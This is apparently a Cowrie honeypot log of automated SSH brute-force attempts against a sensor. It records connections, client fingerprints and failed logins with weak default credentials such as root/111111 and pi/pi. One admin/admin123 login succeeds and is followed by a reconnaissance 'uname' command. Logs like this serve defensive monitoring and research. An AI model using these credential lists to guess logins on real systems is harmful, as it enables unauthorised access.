{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:19.235006Z","src_ip":"159.192.99.12","session":"2614cf3207fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:19.474655Z","src_ip":"159.192.99.12","session":"2614cf3207fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":42593,"dst_ip":"10.17.0.5","dst_port":22,"session":"b66da2fc72f2","protocol":"ssh","message":"New connection: 5.196.136.131:42593 (10.17.0.5:22) [session: b66da2fc72f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:20.188804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:20.192553Z","src_ip":"5.196.136.131","session":"b66da2fc72f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2019!","message":"login attempt [root/unitedstates2019!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:20.208574Z","src_ip":"159.192.99.12","session":"2614cf3207fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:20.269349Z","src_ip":"5.196.136.131","session":"b66da2fc72f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:20.502839Z","src_ip":"5.196.136.131","session":"b66da2fc72f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:21.454422Z","src_ip":"159.192.99.12","session":"2614cf3207fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:21.582055Z","src_ip":"5.196.136.131","session":"b66da2fc72f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":37886,"dst_ip":"10.17.0.5","dst_port":22,"session":"4988bcd8715b","protocol":"ssh","message":"New connection: 5.196.136.131:37886 (10.17.0.5:22) [session: 4988bcd8715b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:24.588319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:24.600605Z","src_ip":"5.196.136.131","session":"4988bcd8715b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:24.671116Z","src_ip":"5.196.136.131","session":"4988bcd8715b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:24.988206Z","src_ip":"5.196.136.131","session":"4988bcd8715b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:26.070854Z","src_ip":"5.196.136.131","session":"4988bcd8715b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":53693,"dst_ip":"10.17.0.5","dst_port":22,"session":"f37ac9c01e76","protocol":"ssh","message":"New connection: 5.196.136.131:53693 (10.17.0.5:22) [session: f37ac9c01e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:28.978139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:28.981780Z","src_ip":"5.196.136.131","session":"f37ac9c01e76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:29.057821Z","src_ip":"5.196.136.131","session":"f37ac9c01e76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:29.286160Z","src_ip":"5.196.136.131","session":"f37ac9c01e76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:30.365409Z","src_ip":"5.196.136.131","session":"f37ac9c01e76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":37555,"dst_ip":"10.17.0.5","dst_port":22,"session":"576e873c16c2","protocol":"ssh","message":"New connection: 5.196.136.131:37555 (10.17.0.5:22) [session: 576e873c16c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:33.383496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:33.387234Z","src_ip":"5.196.136.131","session":"576e873c16c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:33.462286Z","src_ip":"5.196.136.131","session":"576e873c16c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:33.687683Z","src_ip":"5.196.136.131","session":"576e873c16c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:34.765111Z","src_ip":"5.196.136.131","session":"576e873c16c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":38154,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5285d2c3892","protocol":"ssh","message":"New connection: 5.196.136.131:38154 (10.17.0.5:22) [session: d5285d2c3892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:37.824357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:37.828797Z","src_ip":"5.196.136.131","session":"d5285d2c3892","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:37.905373Z","src_ip":"5.196.136.131","session":"d5285d2c3892","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:38.145842Z","src_ip":"5.196.136.131","session":"d5285d2c3892","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":37754,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c4531afb4ab","protocol":"ssh","message":"New connection: 97.74.6.204:37754 (159.203.135.109:22) [session: 4c4531afb4ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:39.078346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:39.081187Z","src_ip":"97.74.6.204","session":"4c4531afb4ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:39.145669Z","src_ip":"97.74.6.204","session":"4c4531afb4ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:39.228221Z","src_ip":"5.196.136.131","session":"d5285d2c3892","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"galaxy123","message":"login attempt [root/galaxy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:39.342859Z","src_ip":"97.74.6.204","session":"4c4531afb4ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:40.410517Z","src_ip":"97.74.6.204","session":"4c4531afb4ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":14090,"dst_ip":"10.17.0.5","dst_port":22,"session":"3707d109d744","protocol":"ssh","message":"New connection: 5.196.136.131:14090 (10.17.0.5:22) [session: 3707d109d744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:42.361890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:42.365767Z","src_ip":"5.196.136.131","session":"3707d109d744","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:42.444350Z","src_ip":"5.196.136.131","session":"3707d109d744","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:42.680872Z","src_ip":"5.196.136.131","session":"3707d109d744","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:42.874722Z","src_ip":"5.196.136.131","session":"3707d109d744","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:42.876613Z","src_ip":"5.196.136.131","session":"3707d109d744","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:42.956947Z","src_ip":"5.196.136.131","session":"3707d109d744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:42.960609Z","src_ip":"5.196.136.131","session":"3707d109d744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":16460,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b2498fca862","protocol":"ssh","message":"New connection: 5.196.136.131:16460 (10.17.0.5:22) [session: 9b2498fca862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:46.758265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:46.761547Z","src_ip":"5.196.136.131","session":"9b2498fca862","protocol":"ssh"}
